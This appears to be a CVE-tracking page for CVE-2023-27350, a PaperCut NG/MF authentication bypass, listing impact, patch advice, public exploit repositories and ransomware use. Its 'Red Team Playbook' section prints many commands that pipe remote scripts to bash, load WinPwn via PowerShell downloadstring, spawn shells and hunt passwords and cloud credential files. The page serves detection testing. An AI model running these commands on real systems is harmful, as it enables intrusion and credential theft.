CVE-2023-27350
Overview
This vulnerability is an authentication bypass caused by improper access control within the SetupCompleted class of PaperCut NG. The flaw allows unauthenticated remote users to interact with sensitive application endpoints without validation. The affected component improperly restricts access to critical service pages, enabling unauthorized operations on the system.
Vulnerability Description
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
Impact
An attacker can exploit this vulnerability without any authentication or user interaction to bypass security controls and execute arbitrary code with SYSTEM privileges on the target server. This enables full system compromise, including unauthorized access to sensitive data and potential lateral movement within the network. The exploit effectively grants complete control over the affected PaperCut NG installation, risking data breaches and operational disruption.
Solution
Apply the vendor-provided patch for PaperCut NG as detailed in their security advisory PO-1216 and PO-1219 available at https://www.papercut.com/kb/Main/PO-1216-and-PO-1219. The fix addresses the improper access control in the SetupCompleted class. Administrators should update affected installations to the patched version immediately following the vendor's instructions to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
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Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
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Papercut | Papercut Mf | All |
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
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Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
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Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
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Papercut | Papercut Ng | All |
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
PaperCut PaperCutNG Authentication Bypass
exploits/multi/http/papercut_ng_auth_bypass
|
catatonicprime | Unknown | java | View |
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| PaperCut NG/MG 22.0.4 - Authentication Bypass | MaanVader | webapps | multiple | - | View |
| PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE) | MaanVader | webapps | multiple | - | View |
GitHub PoCs (16)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2023-27350
Proof of Concept Exploit for PaperCut CVE-2023-27350
|
horizon3ai | 57 | 24 | 2023-04-22 | View |
|
imancybersecurity/CVE-2023-27350-POC
|
imancybersecurity | 12 | 5 | 2023-04-21 | View |
|
adhikara13/CVE-2023-27350
Exploit for Papercut CVE-2023-27350. [+] Reverse shell [+] Mass checking
|
adhikara13 | 9 | 3 | 2023-04-25 | View |
|
MaanVader/CVE-2023-27350-POC
A simple python script to check if a service is vulnerable
|
MaanVader | 5 | 2 | 2023-04-21 | View |
|
Ap0dexMe0/CVE-2023-27350
Perfom With Massive Authentication Bypass In PaperCut MF/NG
|
Ap0dexMe0 | 2 | 2 | 2023-05-27 | View |
|
Jenderal92/CVE-2023-27350
Python 2.7
|
Jenderal92 | 0 | 4 | 2023-06-13 | View |
|
monke443/CVE-2023-27350
Unauthenticated remote command execution in Papercut service allows an attacker to execute commands due to improper acce...
|
monke443 | 4 | 0 | 2025-03-09 | View |
|
ThatNotEasy/CVE-2023-27350
Perfom With Massive Authentication Bypass In PaperCut MF/NG
|
ThatNotEasy | 2 | 2 | 2023-05-27 | View |
|
HORKimhab/CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
|
HORKimhab | 0 | 0 | 2026-08-28 | View |
|
danielissaq/-PaperCut-CVE-2023-27350-
|
danielissaq | 0 | 0 | 2026-07-21 | View |
|
joaoaugustom/PaperCut-Authentication_Bypass_and_RCE
This exploit is based on CVE-2023-27350 and was built upon the original exploit by horizon3ai and the Metasploit module.
|
joaoaugustom | 0 | 0 | 2026-05-30 | View |
|
ASG-CASTLE/CVE-2023-27350
|
ASG-CASTLE | 0 | 0 | 2024-04-19 | View |
|
Royall-Researchers/CVE-2023-27350
Papercut Vulnerability, Affected Versions are PaperCut MF or NG version 8.0 or later (excluding patched versions) on all...
|
Royall-Researchers | 0 | 0 | 2025-07-05 | View |
|
rasan2001/CVE-2023-27350-Ongoing-Exploitation-of-PaperCut-Remote-Code-Execution-Vulnerability
|
rasan2001 | 0 | 0 | 2024-05-10 | View |
|
dezso-dfield/CVE-2023-27350
PaperCut NG/MG Authentication Bypass and Remote Code Execution (RCE) Exploit Tool. A standalone Bash implementation of t...
|
dezso-dfield | 0 | 0 | 2025-12-19 | View |
|
0xB0y426/CVE-2023-27350-PoC
PoC for CVE-2023-27350
|
0xB0y426 | 0 | 0 | 2025-04-14 | View |
Ransomware Groups 8
Threat Feed
50 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, PowerShell Empire, TinyMet (1302 known victims)
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Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, PowerShell Empire, TinyMet (1302 known victims)
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 115 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
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